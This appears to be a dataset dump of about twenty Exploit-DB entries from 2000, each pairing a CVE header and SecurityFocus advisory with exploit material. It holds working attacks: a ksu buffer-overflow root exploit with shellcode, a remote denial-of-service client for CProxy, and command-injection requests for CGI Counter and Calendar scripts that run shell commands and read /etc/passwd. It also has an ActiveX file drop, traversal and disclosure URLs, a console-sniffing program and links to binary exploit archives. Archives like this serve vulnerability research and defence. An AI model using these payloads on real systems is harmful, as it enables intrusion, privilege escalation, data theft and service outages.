QLWD/code_shield huggingface dataset:
标题: Matt Kruse Calendar Script 2.2 - Arbitrary Command Execution EDB-ID: 19921 CVE: 2000-0432 类型: REMOTE 平台: CGI 发布日期: 2000-05-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/1215/info

Matt Kruse's Calendar script is a popular, free perl cgi-script used by many websites on the Internet. It allows a website administrator to easily setup and customize a calendar on their website. There are two components of this package, calendar-admin.pl and calendar.pl. Calendar-admin.pl calls open() with user-input in the command string but does not parse the input for metacharacters. It is therefor possible to execute arbitrary commands on the target host by passing "|shell command|" as one value of the "configuration file" field. The shell that is spawned with the open() call will then execute those commands with the uid of the webserver. This can result in remote access to the system for the attacker. Calendar.pl is vulnerable to a similar attack.

calender_admin.pl - easiest.

Assuming http://www.ownable.domain/ has calender.pl at:
http://www.ownable.domain/cgi-bin/calender.pl

The admin script by default is at:
http://www.ownable.domain/cgi-bin/calender_admin.pl

Going to that URL will result in a username/password/configuration file input fields. Ignoring username and password, enter:

|<command here>|

(With the pipes) in the configuration file field.

e.g. 

|ping 127.0.0.1| URL: https://www.exploit-db.com/exploits/19921
标题: Microsoft Active Movie Control 1.0 - Filetype EDB-ID: 19928 CVE: 2000-0400 类型: REMOTE 平台: WINDOWS 发布日期: 2000-05-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/1221/info

The Microsoft Active Movie Control (a multimedia ActiveX control) will download files of any type specified in the control parameters in an HTML document, regardless of whether or not they are a valid media type. A hostile website, HTML email or HTML newsgroup post could therefore write executables and other potentially harmful content to target machines, which will be stored with their known filenames in the default Windows Temp directory. 

This vulnerability could be used in conjunction with other exploits to run arbitrary code on the target machine(s).

The following script assumes a default Windows Temp folder of c:\windows\temp

<OBJECT classid=clsid:05589FA1-C356-11CE-BF01-00AA0055595A height=1
style="DISPLAY: none" width=1>
<PARAM NAME="Filename" VALUE="C:\WINDOWS\TEMP\MALWARE.exe"> URL: https://www.exploit-db.com/exploits/19928
标题: Cygnus Network Security 4.0/KerbNet 5.0 / MIT Kerberos 4/5 / RedHat 6.2 - Compatibility 'krb_rd_req()' Local Buffer Overflow (2) EDB-ID: 19925 CVE: 2000-0389 类型: LOCAL 平台: LINUX 发布日期: 2000-05-26 漏洞利用脚本: // source: https://www.securityfocus.com/bid/1220/info
 
 
Several buffer overflow vulnerabilities exist in Kerberos 5 implmenetations due to buffer overflows in the Kerberos 4 compatability code. These include MIT Kerberos 5 releases 1.0.x, 1.1 and 1.1.1, MIT Kerberos 4 patch level 10 (and, most likely, prior releases), and Cygnus KerbNet and Network Security (CNS). The main source of problems is due to a buffer overflow in the krb_rd_req() library function. This function is used by every application that supports Kerberos 4 authentication, including, but not limited to, kshrd, klogin, telnetd, ftpd, rkinitd, v4rcp and kpopd. Therefore, it is possible for a remote attacker to exploit this vulnerability and gain root access on affected machines, or obtain root level access once local.
 
A setuid version of v4rcp is shipped with RedHat Linux 6.2, as part of a full install. It is possible to use this program, to obtain root level access.
 
In addition, there are other buffer overruns present in the ksu and krshd sources from MIT. These problems will be remedied in the same release from MIT that fixes the krrb_rd_req() vulnerability.

/********
 * ksux.c -- ksu exploit
 * written January 26, 2000
 * Jim Paris <jim@jtan.com>
 * 
 * This program exploits a vulnerability in the 'ksu' utility included
 * with the MIT Kerberos distribution.  Versions prior to 1.1.1 are   
 * vulnerable.
 * 
 * This exploit is for Linux/x86 with Kerberos version 1.0.  Exploits
 * for other operating systems and versions of Kerberos should also work.
 * 
 * Since krb5_parse_name will reject input with an @ or /, this shellcode
 * execs 'sh' instead of '/bin/sh'.  As a result, a copy of 'sh' must    
 * reside in the current directory for the exploit to work. 
 * 
 */
   
#include <stdlib.h>
#include <stdio.h> 

int get_esp(void) { __asm__("movl %esp,%eax"); }

char *shellcode="\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x02\x89\x46"
                "\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
                "\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xffsh"; 
                
#define         LEN 0x300
#define  RET_OFFSET 0x240
#define  JMP_OFFSET 0x240
#define CODE_OFFSET 0x100

int main(int argc, char *argv[])
{
  int esp=get_esp();
  int i,j; char b[LEN];
  
  memset(b,0x90,LEN);
  memcpy(b+CODE_OFFSET,shellcode,strlen(shellcode));
  *(int *)&b[RET_OFFSET]=esp+JMP_OFFSET;
  b[RET_OFFSET+4]=0;
  
  execlp("ksu","ksu","-n",b,NULL);
} URL: https://www.exploit-db.com/exploits/19925
标题: Computalynx CProxy Server 3.3 SP2 - Buffer Overflow (Denial of Service) (PoC) EDB-ID: 19920 CVE: 2000-0395 类型: DOS 平台: MULTIPLE 发布日期: 2000-05-16 漏洞利用脚本: // source: https://www.securityfocus.com/bid/1213/info

A buffer overflow DoS vulnerability exists in CProxy Server 3.3 Service Pack 2


/*
 * Remote Denial of Service for CProxy v3.3 - Service Pack 2
 * 
 * (C) |[TDP]|  - HaCk-13 TeaM -  2000      <tdp@psynet.net>
 *
 *
 * This program xploits an overflow vulnerability in CProxy 3.3 SP2
 * HTTP Service (8080), causing server shutdown
 *
 * Greetings to all the other members and all my friends :) 
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netdb.h>
#include <netinet/in.h>
#include <arpa/inet.h>

#define BUFFERSIZE 247
#define NOP 0x90
// If you change this values you can change EIP and EBP values
// to redirect to a code that you want >;)
#define EIP 0x61616161
#define EBP 0x61616161

void usage(char *progname) {
 fprintf(stderr,"Usage: %s <hostname> [eip] [ebp]\n",progname);
 exit(1);
}

int main(int argc, char **argv) {
char *ptr,buffer[BUFFERSIZE], remotedos[1024];
unsigned long *long_ptr,eip=EIP, ebp=EBP;
int aux,sock;
struct sockaddr_in sin;
unsigned long ip;
struct hostent *he;

 fprintf(stderr,"\n-= Remote DoS for CProxy v3.3 ServicePack 2 - (C) |[TDP]| - H13 Team =-\n");

 if (argc<2) usage(argv[0]);

 if (argc>=3) eip+=atol(argv[2]);

 if (argc>=4) ebp+=atol(argv[3]);

 ptr=buffer;
 memset(ptr,0,sizeof(buffer));
 memset(ptr,NOP,sizeof(buffer)-8);
 ptr+=sizeof(buffer)-8;
 long_ptr=(unsigned long*)ptr;
 *(long_ptr++) = ebp;
 *(long_ptr++) = eip;
 ptr=(char *)long_ptr;
 *ptr='\0';

 bzero(remotedos, sizeof(remotedos));
 snprintf(remotedos, sizeof(remotedos), "GET http://%s HTTP/1.0\r\n\r\n\r\n",buffer);

 if ((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) {
 perror("socket()");
 return -1;
 }

 if ((he = gethostbyname(argv[1])) != NULL) {
 ip = *(unsigned long *)he->h_addr;
 } else {
 if ((ip = inet_addr(argv[1])) == NULL) {
  perror("inet_addr()");
  return -1;
 }
 }

 sin.sin_family = AF_INET;
 sin.sin_addr.s_addr = ip;
 sin.sin_port = htons(8080);

 fprintf(stderr,"\nEngaged...\n");
 if (connect(sock, (struct sockaddr *)&sin, sizeof(sin)) < 0) {
 perror("connect()");
 return -1;
 }

 if (write(sock, remotedos, strlen(remotedos)) < strlen(remotedos)) {
 perror("write()");
 return -1;
 }

 fprintf(stderr,"Bye Bye baby!...\n\n");
 if (close(sock) < 0) {
 perror("close()");
 return -1;
 }

 return(0);
} URL: https://www.exploit-db.com/exploits/19920
标题: Seattle Lab Software Emurl 2.0 - Email Account Access EDB-ID: 19914 CVE: 2000-0397 类型: REMOTE 平台: WINDOWS 发布日期: 2000-05-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/1203/info

Emurl software creates a unique identifier for each user, based on their account name. This identifier is encoded using the ascii value of each character in the account name and augmented by its position. By using a specific URL along with a user's identifier, it is possible to retreive that users e-mail as well as view and change their account settings.

To read email:
http://target/scripts/emurl/RECMAN.dll?TYPE=RECIEVEMAIL&USER=<identifier>

To view/modify account settings:
http://target/scripts/emurl/MAKEHTML_M.dll?TYPE=USER&USER=<identifier> URL: https://www.exploit-db.com/exploits/19914
标题: Microsoft IIS 4.0/5.0 - Malformed File Extension Denial of Service EDB-ID: 19907 CVE: 2000-0408 类型: DOS 平台: WINDOWS 发布日期: 2000-05-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/1190/info

Sending a specially crafted URL containing malformed file extension information to Microsoft IIS 4.0/5.0 will consume CPU usage until it reaches 100% which will halt the program's services. Restarting the application or waiting until the URL is processed will be required in order to regain normal functionality.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19907-1.exe

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19907.zip URL: https://www.exploit-db.com/exploits/19907
标题: KDE 1.1/1.1.1/1.2/2.0 kscd - SHELL Environmental Variable EDB-ID: 19915 CVE: 2000-0393 类型: LOCAL 平台: LINUX 发布日期: 2000-05-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/1206/info

Some linux distributions (S.u.S.E. 6.4 reported) ship with kscd (a CD player for the KDE Desktop) sgid disk. kscd uses the contents of the 'SHELL' environment variable to execute a browser. This makes it possible to obtain a sgid 'disk' shell. Using these privileges along with code provided in the exploit, it is possible to change attributes on raw disks. This in turns allows an attacker to create a root shell, thus compromising the intergrity of the machine. 

Red Hat, Linux Mandrake, and Turbo Linux do not currently ship with kscd setgid 'disk'.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19915.tgz URL: https://www.exploit-db.com/exploits/19915
标题: Matt Wright FormMail 1.6/1.7/1.8 - Environmental Variables Disclosure EDB-ID: 19906 CVE: 2000-0411 类型: REMOTE 平台: MULTIPLE 发布日期: 2000-05-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/1187/info

An unauthorized remote user is capable of obtaining CGI environmental variable information from a web server running Matt Wright FormMail by requesting a specially formed URL that specifies the email address to send the details to. This is accomplished by specifying a particular CGI environmental variable such as PATH, DOCUMENT_ROOT, SERVER_PORT in the specially formed URL which will email the results to the address given. The information obtained could possibly be used to assist in a future attack.

http:/target/cgibin/formmail.cgi?env_report=PATH&recipient=<email address>&required=&firstname=&lastname=&email=&message=&Submit=<message>
This URL request assumes that the formmail.cgi script is located in the cgibin directory. URL: https://www.exploit-db.com/exploits/19906
标题: George Burgyan CGI Counter 4.0.2/4.0.7 - Input Validation EDB-ID: 19913 CVE: 2000-0424 类型: REMOTE 平台: CGI 发布日期: 2000-05-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/1202/info

Due to unchecked code that handles user input in George Burgyan's CGI Counter, remote execution of arbitrary commands at the same privilege level as the web server it is running on is possible.

Examples:

http://target/cgi-bin/counterfiglet/nc/f=;echo;w;uname%20-a;id

> telnet target www
GET /cgi-bin/counterfiglet/nc/f=;sh%20-c%20"$HTTP_X" HTTP/1.0
X: pwd;ls -la /etc;cat /etc/passwd

> telnet target www
GET /cgi-bin/counter/nl/ord/lang=english(1);system("$ENV{HTTP_X}"); HTTP/1.0
X: echo;id;uname -a;w URL: https://www.exploit-db.com/exploits/19913
标题: Gossamer Threads DBMan 2.0.4 - DBMan Information Leakage EDB-ID: 19903 CVE: 2000-0381 类型: REMOTE 平台: MULTIPLE 发布日期: 2000-05-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/1178/info

Requesting an invalid database file from a web server implementing Gossamer Threads DBMan scripts will return a CGI error message containing environmental variables to a remote user without any authorization. The parameters displayed include the local document root path, server administrator account name, web server software, platform, etc.

http://target/scripts/dbman/db.cgi?db=invalid-db URL: https://www.exploit-db.com/exploits/19903
标题: Netscape Communicator 4.5/4.51/4.6/4.61/4.7/4.72/4.73 - '/tmp' Symlink EDB-ID: 19912 CVE: 2000-0409 类型: LOCAL 平台: MULTIPLE 发布日期: 2000-05-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/1201/info

Netscape Communicator version 4.73 and prior may be susceptible to a /tmp file race condition when importing certificates. Netscape creates a /tmp file which is world readable and writable in /tmp, without calling stat() or fstat() on the file. As such, it is possible, should a user be able to predict the file name, to cause a symbolic link to be created, and followed elsewhere on the file system. 

Additionally, as the file is created mode 666 prior to being fchmod()'d to 600, there may be a window of opportunity for altering the contents of this file.

This issue has only been demonstrated on the Linux binary, for glibc. The sparc Solaris binary does not behave this way.

Predict the name of the temporary file.
ln -sf /elsewhere /tmp/<tmpfilename>

Alternately, a program which watches for the creation of these temporary files, opens them upon their creation, and alters the contents can be written. URL: https://www.exploit-db.com/exploits/19912
标题: Netopia R-series Routers 4.6.2 - Modifying SNMP Tables EDB-ID: 19901 CVE: 2000-0379 类型: REMOTE 平台: HARDWARE 发布日期: 2000-05-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/1177/info

All R-series platforms with firmware between 4.3.8 and 4.6.2 (inclusive) allow users who already have access to the router to modify SNMP tables which they should not be able to access. The router has a command-line mode that is reached by typing control-N after the user has passed the intial login test. At the "#" prompt one can then do most management of the device. This includes the setting of SNMP community strings in spite of the limitation imposed by the administrator. 

The following devices are confirmed as vulnerable: 

R2020 Dual Analog Router
R3100 ISDN Router
R3100-I ISDL Router
R3100-T IDSL router for Covad
R3232-I IDSL 4-IMUX router
R5100 Serial router
R5200 DDS router
R5220 DDS router w/ V.90 backup
R5300 T1 router
R5320 T1 router w/ V.90 backup
R5331 T1 router w/ ISDN backup
R7100-C SDSL router
R7120 SDSL Router w/int V.90
R7131 SDSL router w/int ISDN
R7171 SDSL 2x IMUX router
R7200-T SDSL router for Covad
R7220 SDSL router w/int.V.90
R7231 SDSL router w/int ISDN
R9100 Ethernet-to-ethernet Router

# set snmp community RO wookie
or
# set snmp community RW wookie

The exploit can only be attempted by those with existing access login to the device. URL: https://www.exploit-db.com/exploits/19901
标题: Microsoft IIS 4.0/5.0 - Malformed Filename Request EDB-ID: 19908 CVE: 2000-0457 类型: REMOTE 平台: WINDOWS 发布日期: 2000-05-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/1193/info

Requesting a known filename with the extension replaced with .htr preceeded by approximately 230 "%20" (which is an escaped character that represents a space) from Microsoft IIS 4.0/5.0 will cause the server to retrieve the file and its contents. This is due to the .htr file extension being mapped to ISM.DLL ISAPI application which redirects .htr file requests to ISM.DLL. ISM.DLL removes the extraneous "%20" and replaces .htr with the proper filename extension and reveals the source of the file. This vulnerability is similar to a more recently discovered variant, BugTraq ID 1488. 

This action can only be performed if a .htr request has not been previously made or if ISM.DLL is loaded into memory for the first time. If an .htr request has already been made, a restart of the web server is necessary in order to perform another.

http://target/filename%20(repeated approx 230 times).htr URL: https://www.exploit-db.com/exploits/19908
标题: Intel Corporation NetStructure 7110 - Undocumented Password EDB-ID: 19904 CVE: 2000-0384 类型: LOCAL 平台: UNIX 发布日期: 2000-05-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/1182/info

NetStructure (formerly known as Ipivot Commerce Accelerator) is a multi-site traffic director. This internet equipment is designed for businesses with multiple Web site locations, routing traffic to the best available site from a single URL. Certain revisions of this package have an undocumented supervisor password. 
This password, which grants access to the 'wizard' mode of the device, is derived from the MAC address of the primary NIC. This MAC address is displayed in the login banner.

This password can be utilized from the admin console locally (via a serial interface) or remotely if the machine has been deployed with a modem for remote access. With this password an intruder gains shell access to the underlying UNIX system and may sniff traffic, among other things.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19904.tar.gz URL: https://www.exploit-db.com/exploits/19904
标题: RedHat Linux 6.0/6.1/6.2 - 'pam_console' Monitor Activity After Logout EDB-ID: 19900 CVE: 2000-0378 类型: LOCAL 平台: LINUX 发布日期: 2000-05-03 漏洞利用脚本: /*
source: https://www.securityfocus.com/bid/1176/info

A vulnerability exists in the pam_console PAM module, included as part of any Linux system running PAM. pam_console exists to own certain devices to users logging in to the console of a Linux machine. It is designed to allow only console users to utilize things such as sound devices. It will chown devices to users upon logging in, and chown them back to being owned by root upon logout. However, as certain devices do not have a 'hangup' mechanism, like a tty device, it is possible for a local user to continue to monitor activity on certain devices after logging out. This could allow an malicious user to sniff other users console sessions, and potentially obtain the root password if the root user logs in, or a user su's to root. They could also surreptitiously execute commands as the user on the console.
*/

#include <sys/fcntl.h>

main(int argc,char*argv[]) {
  char buf[80*24];
  int f=open(argv[1],O_RDWR);
  while (1) {
    lseek(f,0,0);
    read(f,buf,sizeof(buf));
    write(1,"\033[2J\033[H",7); // clear terminal, vt100/linux/ansi
    write(1,buf,sizeof(buf));
    usleep(10000);
  }
} URL: https://www.exploit-db.com/exploits/19900
标题: UltraBoard 1.6 - Denial of Service EDB-ID: 19899 CVE: 2000-0426 类型: DOS 平台: CGI 发布日期: 2000-05-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/1175/info

UltraBoard 1.6 (and possibly all 1.x versions and the new beta Ultraboard 2000) are vulnerable to this Denial of Service attack.

A remote user is able to expend all of the available resources of the webserver by using a specially-devised request to the CGI. This request causes a fork, which will then consume the processor time and memory of the server.

http:://target/ultraboard.pl?request=Session=../UltraBoard.pl%00%7c URL: https://www.exploit-db.com/exploits/19899
标题: FrontPage 2000 / IIS 4.0/5.0 - Server Extensions Full Path Disclosure EDB-ID: 19897 CVE: 2000-0413 类型: REMOTE 平台: WINDOWS 发布日期: 2000-05-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/1174/info

The local path of a HTML, HTM, ASP, or SHTML file can be disclosed in Microsoft IIS 4.0/5.0 / Frontpage Server Extensions 1.1 and prior. Passing a path to a non-existent file to the shtml.exe or shtml.dll (depending on platform) program will display an error message stating that the file cannot be found accompanied by the full local path to the web root. For example, performing a request for http://target/_vti_bin/shtml.dll/non_existant_file.html will produce an error message stating "Cannot open "C:\localpath\non_existant_file.html": no such file or folder"

http://target/_vti_bin/shtml.exe/non-existent-file.html
http://target/_vti_bin/shtml.exe/non-existent-file.htm
http://target/_vti_bin/shtml.exe/non-existent-file.shtml
http://target/_vti_bin/shtml.exe/non-existent-file.asp
http://target/_vti_bin/shtml.dll/non_existant_file.html URL: https://www.exploit-db.com/exploits/19897
标题: Ethereal 0.8.4/0.8.5/0.8.6 / tcpdump 3.4/3.5 alpha - DNS Decode (2) EDB-ID: 19892 CVE: 2000-0333 类型: REMOTE 平台: LINUX 发布日期: 1999-05-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/1165/info
 
A vulnerability exists in the DNS decode capabilities provided as part of the tcpdump sniffer, from LBL, as well as other sniffers, including Ethereal, by Gerald Combs. These sniffers will attempt to decode DNS request and queries. However, due to the DNS name compression scheme, it is possible to create a DNS packet such that tcpdump will be caught in an infinite loop, while trying to decompress. This will prevent the sniffer from displaying further packets. If tcpdump is being used as some part of and intrusion detection system, this could allow an intruder to evade this system.
 
When tcpdump is logging to a file, it is not affected by this vulnerability. Upon reading from a file which contains recorded packets, it will enter an infinite loop when it encounters packets of this type.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19892.tar.gz URL: https://www.exploit-db.com/exploits/19892
标题: NetWin DNews 5.3 Server - Remote Buffer Overflow EDB-ID: 19895 CVE: 2000-0423 类型: REMOTE 平台: WINDOWS 发布日期: 2000-03-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/1172/info

DNews News Server is a CGI application that gives access to auser's NNTP server over the web. There are many unchecked buffers in the program, some of which can be exploited directly from any browser. Supplying an overlylong value for the "group", "cmd" and "utag" variables, and possibly others, will overwrite their respective buffers. In this manner, arbitrary code can be executed on the remote target.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19895.zip URL: https://www.exploit-db.com/exploits/19895
标题: ultrascripts ultraboard 1.6 - Directory Traversal EDB-ID: 19890 CVE: 2000-0332 类型: REMOTE 平台: CGI 发布日期: 2000-05-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/1164/info

UltraBoard 1.6 (and possibly all 1.x versions) is vulnerable to a directory traversal attack that will allow any remote browser to download any file that the webserver has read access to. On Windows instalations, the file must reside on the same logical drive as the webroot. In all cases, the filename and relative path from the webroot must be known to the attacker. 

This is accomplished through a combination of the '../' string and the usage of a null byte (x00) in the variables passed to the UltraBoard CGI.

http:&nbsp;://target/ultraboard.pl?action=PrintableTopic&Post=../../filename.ext\000 URL: https://www.exploit-db.com/exploits/19890
标题: Aladdin Knowledge Systems eToken 3.3.3 - eToken PIN Extraction EDB-ID: 19894 CVE: 2000-0427 类型: LOCAL 平台: WINDOWS 发布日期: 2000-05-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/1170/info

Alladin Knowledge Systems eToken is a USB smartcard-like device used for authentication, file integrity, and encryption. Access to the eToken device itself and entering the PIN number encoded in the eToken will grant authorization to a local user. 

The PIN number can be reset to the default value with the use of standard device programmers. This can be done by physically opening the eToken device (which can be done without leaving any trace or evidence of tampering) and copying the default PIN value to the location used to store either the user PIN or administrator PIN in the serial EEPROM.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19894.zip URL: https://www.exploit-db.com/exploits/19894